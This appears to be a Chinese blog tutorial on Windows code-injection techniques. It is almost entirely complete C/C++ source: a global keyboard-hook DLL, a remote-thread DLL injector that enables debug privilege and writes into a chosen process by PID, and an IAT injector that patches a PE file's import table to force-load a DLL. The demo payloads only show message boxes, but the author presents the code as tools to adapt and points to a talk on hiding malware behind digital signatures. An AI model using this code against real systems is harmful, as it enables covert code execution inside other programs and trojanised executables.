0%

几种可作为工具使用的常用注入姿势

注入的方式很多书籍都谈到了,诸如《逆向工程核心原理》《Windows核心编程》《游戏外挂攻防艺术》等,网站也有很多,像腾讯的游戏安全实验室就有专门介绍的……
当然,最多的还是Black Hat USA 2019上有人对代码写入技术和执行技术进行了详尽的归类介绍,可自行从中选择。
us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All

消息钩子

这种方式仅适用于GUI程序,而且要确定钩取的消息,还是觉得不太方便。功能是键盘按下,弹窗。现在好多程序都防着钩子了,感觉没什么用。

Message_Hook.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <conio.h>
#include <windows.h>

#define DEF_DLL_NAME "My_Hook_Dll.dll"
#define DEF_HOOKSTART "HookStart"
#define DEF_HOOKSTOP "HookStop"

typedef void (*PFN_HOOKSTART)();
typedef void (*PFN_HOOKSTOP)();

void main()
{
HMODULE hDll = NULL;
PFN_HOOKSTART HookStart = NULL;
PFN_HOOKSTOP HookStop = NULL;
char ch = 0;

hDll = LoadLibraryA(DEF_DLL_NAME);
if( hDll == NULL )
{
printf("LoadLibrary(%s) failed!!! [%d]", DEF_DLL_NAME, GetLastError());
return;
}
HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, DEF_HOOKSTART);
HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, DEF_HOOKSTOP);

HookStart();

printf("press 'q' to quit!\n");
while( _getch() != 'q' ) ;

HookStop();
FreeLibrary(hDll);
}

dllmain.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

#define DEF_PROCESS_NAME "notepad.exe"

HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
HWND g_hWnd = NULL;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
switch( dwReason )
{
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;

case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char szPath[MAX_PATH] = {0,};
char *p = NULL;

if( nCode >= 0 )
{
// bit 31 : 0 => press, 1 => release
if( !(lParam & 0x80000000) )
{
GetModuleFileNameA(NULL, szPath, MAX_PATH);
p = strrchr(szPath, '\\');

if( !_stricmp(p + 1, DEF_PROCESS_NAME) )
MessageBoxA(NULL,"Inject successful!","Congratulations!",MB_OK);
}
}

return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void HookStart()
{
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
}

__declspec(dllexport) void HookStop()
{
if( g_hHook )
{
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif

远程注入

原理什么的就不讲了,直接上代码,功能也是完成一个弹窗,具体要做什么的时候,修改一下就好了。

dllmain.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL,"Injection Success!","Congratulations!",MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Injection.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#include<windows.h>
#include<stdio.h>
#include<string.h>

BOOL SetPrivilege(LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
wprintf(L"OpenProcessToken Failed!CODE(%u)\n",GetLastError());
return FALSE;
}
if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid))
{
wprintf(L"LookupPrivilegeValue Failed!CODE(%u)\n",GetLastError());
return FALSE;
}
tp.PrivilegeCount=1;
tp.Privileges[0].Luid=luid;
if(bEnablePrivilege)
{
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
}
else
{
tp.Privileges[0].Attributes=0;
}
//Enable the privilege开启或关闭权限
if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
{
wprintf(L"AdjustTokenPrivileges Failed!CODE(%u)\n",GetLastError());
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}

BOOL Remotethread_Injection(int PID,char *pDllName)
{
HANDLE hProcess;
DWORD dwDllNameLen = strlen(pDllName) + 2;
BYTE *pBufaddr = NULL;
HANDLE hRemoteThread = NULL;
PTHREAD_START_ROUTINE pfnRemoteThreadProc = NULL;
__try
{
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,(DWORD)PID);
if(!hProcess)
{
printf("OpenProcess Error!code(%d)\n",GetLastError());
return FALSE;
}
pBufaddr = (BYTE *)VirtualAllocEx(hProcess,NULL,dwDllNameLen,MEM_COMMIT,PAGE_READWRITE);
if(!pBufaddr)
{
printf("VirtualAllocEx Error!code(%d)\n",GetLastError());
CloseHandle(hProcess);
return FALSE;
}
if(!WriteProcessMemory(hProcess,pBufaddr,pDllName,dwDllNameLen,NULL))
{
printf("WriteProcessMemory Error!code(%d)\n",GetLastError());
VirtualFreeEx(hProcess,(PVOID)pBufaddr,0,MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
pfnRemoteThreadProc = (PTHREAD_START_ROUTINE)GetProcAddress((HMODULE)LoadLibraryA("kernel32.dll"),"LoadLibraryA");
if(!pfnRemoteThreadProc)
{
printf("GetProcAddress Error!code(%d)\n",GetLastError());
VirtualFreeEx(hProcess,(PVOID)pBufaddr,0,MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
hRemoteThread = CreateRemoteThread(hProcess,NULL,0,pfnRemoteThreadProc,(PVOID)pBufaddr,0,NULL);
if(!hRemoteThread)
{
printf("CreateRemoteThreadEx Error!code(%d)\n",GetLastError());
VirtualFreeEx(hProcess,(PVOID)pBufaddr,0,MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
WaitForSingleObject(hRemoteThread,INFINITE);
}
__finally
{
if(hRemoteThread)
{
CloseHandle(hRemoteThread);
}
if(pBufaddr)
{
VirtualFreeEx(hProcess,(PVOID)pBufaddr,0,MEM_RELEASE);
}
if(hProcess)
{
CloseHandle(hProcess);
}
}
return TRUE;
}

int main(int argc,char* argv[])
{
DWORD PID = 0;
if(!argv[1])
{
printf("USAGE: %s <dll_path>\n",argv[0]);
return 0;
}
printf("Please Input process PID(大于100):\n");
scanf("%d",&PID);
if(!SetPrivilege(SE_DEBUG_NAME,TRUE))
{
return 1;
}
if(Remotethread_Injection(PID,argv[1]))
{
printf("Inject Successful!\n");
}
return 0;
}

IAT注入

通过对目标程序或者目标程序加载节点上的任一dll新增一个节,用来copy原导入表的IMPORT Directory Table的内容,再新增一个自己DLL的IID,实现自身DLL的注入功能。由于CERTIFATE TABLE PE文件验证数字签名的存在,该代码对有数字签名的文件无效。绕过数字签名BLACK HAT USA 2016一篇文章可以参考:

Certificate Bypass: Hiding and Executing Malware from a Digitally Signed Executable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
#define _CRT_SECURE_NO_WARNINGS
#include<windows.h>
#include<stdio.h>

char* myCopyFile(char* pExistingFile, char* pNewFile)
{
char* pFileName = pNewFile;
strcpy(pFileName, pExistingFile);
strcat(pFileName, "_new");
CopyFileA(pExistingFile, pFileName, FALSE);

return pFileName;
}

BOOL isPEFormat(PBYTE pFile)
{
PBYTE my_PE = pFile;
if (my_PE[0] == 'M' && my_PE[1] == 'Z')
{
my_PE += 0x3C;
my_PE = pFile + *(DWORD*)my_PE;
if (my_PE[0] == 'P' && my_PE[1] == 'E')
{
wprintf(L"GOOD! This is a PE File!\n");
return TRUE;
}
}
return FALSE;
}

int findImportTableSize(char* pFileName,char *sectionName)
{
HANDLE hNewFile = NULL;
HANDLE hFileMap = NULL;

hNewFile = CreateFileA(pFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if (hNewFile == INVALID_HANDLE_VALUE)
{
wprintf(L"CreateFileA Failed! Error code(%d)\n", GetLastError());
return 0;
}

DWORD dwFileSize = GetFileSize(hNewFile, NULL);

hFileMap = CreateFileMappingA(hNewFile, NULL, PAGE_READWRITE, 0, dwFileSize, NULL);

if (hFileMap == NULL)
{
wprintf(L"CreateFileMappingA Failed! Error code(%d)\n", GetLastError());
CloseHandle(hNewFile);
return 0;
}

PBYTE pFile = (PBYTE)MapViewOfFile(hFileMap, FILE_MAP_WRITE, 0, 0, 0);

if (pFile == NULL)
{
wprintf(L"MapViewOfFile Failed! Error code(%d)\n", GetLastError());
CloseHandle(hFileMap);
CloseHandle(hNewFile);
return 0;
}
/**************MappingFileToMemory*******/

/************************Check PE Format*******************/
BOOL isPE = isPEFormat(pFile);
if (!isPE)
{
wprintf(L"Please choose a PE format file!\n");
UnmapViewOfFile(pFile);
CloseHandle(hFileMap);
CloseHandle(hNewFile);
return 0;
}

PBYTE pPeSignature = pFile + *(DWORD*)(pFile + 0x3C);
PBYTE pImportTable = pPeSignature + 4 + 0x14 + 0x68;
DWORD dwImportTableSize = *(DWORD *)(pImportTable + 0x4);
dwImportTableSize += 68;//扩充dll所需要的大概大小
dwImportTableSize = (((dwImportTableSize / 0x200) + 1) * 0x200);

UnmapViewOfFile(pFile);
CloseHandle(hFileMap);
CloseHandle(hNewFile);

return dwImportTableSize;
}
//dwSectionSize + 0x200即为添加节区的总大小,修改该大小即可让addSection函数通用
BOOL addSection(char* pFileName, DWORD dwSectionSize)
{
HANDLE hNewFile = NULL;
HANDLE hFileMap = NULL;

hNewFile = CreateFileA(pFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if (hNewFile == INVALID_HANDLE_VALUE)
{
wprintf(L"CreateFileA Failed! Error code(%d)\n", GetLastError());
return FALSE;
}

DWORD dwFileSize = GetFileSize(hNewFile, NULL);

hFileMap = CreateFileMappingA(hNewFile, NULL, PAGE_READWRITE, 0, dwFileSize + dwSectionSize, NULL);

if (hFileMap == NULL)
{
wprintf(L"CreateFileMappingA Failed! Error code(%d)\n", GetLastError());
CloseHandle(hNewFile);
return FALSE;
}

PBYTE pFile = (PBYTE)MapViewOfFile(hFileMap, FILE_MAP_WRITE, 0, 0, 0);

if (pFile == NULL)
{
wprintf(L"MapViewOfFile Failed! Error code(%d)\n", GetLastError());
CloseHandle(hFileMap);
CloseHandle(hNewFile);
return FALSE;
}
/**************MappingFileToMemory*******/

/************************Check PE Format*******************/
BOOL isPE = isPEFormat(pFile);
if (!isPE)
{
wprintf(L"Please choose a PE format file!\n");
UnmapViewOfFile(pFile);
CloseHandle(hFileMap);
CloseHandle(hNewFile);
return FALSE;
}

PBYTE pPeSignature = pFile + *(DWORD*)(pFile + 0x3C);

/* edit the mark of the number of section */
WORD sectionNum = *(WORD *)(pPeSignature + 4 + 2);
*(WORD*)(pPeSignature + 4 + 2) = sectionNum + 1;
/* edit the mark of the number of section */
PBYTE pSectionHeader = pPeSignature + 4 + 0x14 + 0xE0;

DWORD dwNewRVA = 0;
DWORD dwNewVirtualSize = 0;
DWORD dwNewRawDataAddress = 0;
DWORD tmp = 0;
PBYTE pSection = pSectionHeader;
for (int i = 0; i < sectionNum; i++)
{
if (i == sectionNum - 1)
{
tmp = *(DWORD*)(pSection + 8);
if (tmp % 0x1000)
{
dwNewVirtualSize = (0x1000 * (tmp / 0x1000 + 1));
dwNewRVA = dwNewVirtualSize + *(DWORD*)(pSection + 12);
}
else
{
dwNewVirtualSize = tmp;
dwNewRVA = dwNewVirtualSize + *(DWORD*)(pSection + 12);
}
dwNewRawDataAddress = *(DWORD*)(pSection + 16) + *(DWORD*)(pSection + 20);
}
pSection += 0x28;
}
/*increase a section*/
memcpy(pSection, ".fate", strlen(".fate"));
tmp = (((dwSectionSize) / 0x1000) + 1) * 0x1000;
*(DWORD*)(pSection + 8) = (DWORD)tmp;
*(DWORD*)(pSection + 12) = (DWORD)dwNewRVA;
*(DWORD*)(pSection + 16) = (DWORD)dwSectionSize;
*(DWORD*)(pSection + 20) = (DWORD)dwNewRawDataAddress;
*(DWORD*)(pSection + 24) = *(DWORD*)(pSection + 28) = *(DWORD*)(pSection + 32) = (DWORD)0x0;
*(DWORD*)(pSection + 36) = (DWORD)0xE0000020;
/*increase a section*/

/*edit size of image*/
*(DWORD*)(pPeSignature + 4 + 0x14 + 0x38) = *(DWORD*)(pSection + 12) + *(DWORD*)(pSection + 8);
/*edit size of image*/


//以上添加新节区完成
//复制原.idata区段,增加新的dll

DWORD dwImportTableRVA = *(DWORD *)(pPeSignature + 4 + 0x14 + 0x68);
DWORD dwImportTableSize = *(DWORD*)(pPeSignature + 4 + 0x14 + 0x6C);
pSection = pSectionHeader;
PBYTE pIIData = 0;

for (int i = 0; i < sectionNum; i++)
{
if ((dwImportTableRVA >= *(DWORD*)(pSection + 12)) && (dwImportTableRVA <= (*(DWORD*)(pSection + 12) + *(DWORD*)(pSection + 8))))
{
DWORD dwTmp = dwImportTableRVA - *(DWORD*)(pSection + 12);
dwTmp = dwTmp + *(DWORD*)(pSection + 20);
pIIData = pFile + dwTmp;
}
pSection += 0x28;
}

for (int i = 0; i < dwImportTableSize; i++)
{
*(BYTE*)(pFile + dwNewRawDataAddress + i) = pIIData[i];
}

PBYTE pNewIID = pFile + dwNewRawDataAddress + dwImportTableSize - 20;
PBYTE pNewData = pFile + dwNewRawDataAddress + dwImportTableSize + 20;

//添加dll名称的位置
PBYTE pThunkData = pNewData;
pNewData += (sizeof(DWORD) * 2);//为IMAGE_THUNK_DATA腾出空间(8字节,存储两个函数)
*(DWORD *)(pNewIID + 12) = pNewData - pFile - dwNewRawDataAddress + dwNewRVA;
memcpy(pNewData, "messageBoxDll.dll", strlen("messageBoxDll.dll"));
pNewData += (strlen("messageBoxDll.dll") + 1);

//添加dll名称的位置

//添加Import Name Table RVA 以及 Import Address Table RVA(我并不需要呢?)
*(DWORD *)pThunkData = pNewData - pFile - dwNewRawDataAddress + dwNewRVA;
*(WORD*)(pNewData) = 1;
pNewData += 2;
memcpy(pNewData, "InjectFunc", strlen("InjectFunc"));
pNewData += (strlen("InjectFunc") + 1);

*(DWORD*)(pNewIID) = pThunkData - pFile - dwNewRawDataAddress + dwNewRVA;//修改Import Name Table RVA
*(DWORD*)(pNewIID + 16) = pThunkData - pFile - dwNewRawDataAddress + dwNewRVA;//修改Import Address Table RVA
//添加Import Name Table RVA 以及 Import Address Table RVA

//修改IMAGE_OPTIONAL_HEADER中IMPORT Table的RVA 以及 大小
*(DWORD*)(pPeSignature + 4 + 0x14 + 0x68) = *(DWORD*)(pSection + 12);
*(DWORD*)(pPeSignature + 4 + 0x14 + 0x6C) = dwImportTableSize + 20;
//*(DWORD*)(pPeSignature + 4 + 0x14 + 0x6C) = dwImportTableSize;


//修改IMAGE_OPTIONAL_HEADER中IMPORT Table的RVA 以及 大小
UnmapViewOfFile(pFile);
CloseHandle(hFileMap);
CloseHandle(hNewFile);

return TRUE;

}

int main(int argc, char* argv[])
{
if (argc != 2)
{
wprintf(L"Please input two Parameters,one is the Pragram,another is the path which will be edited!\n");
return 0;
}
char pFileName[MAX_PATH] = { 0, };
myCopyFile((char*)argv[1], pFileName);
DWORD dwSectionSize = 0;
dwSectionSize = findImportTableSize(pFileName, (char*)".idata");//获取idata段的Size of Raw Data

addSection(pFileName, dwSectionSize);

return 0;
}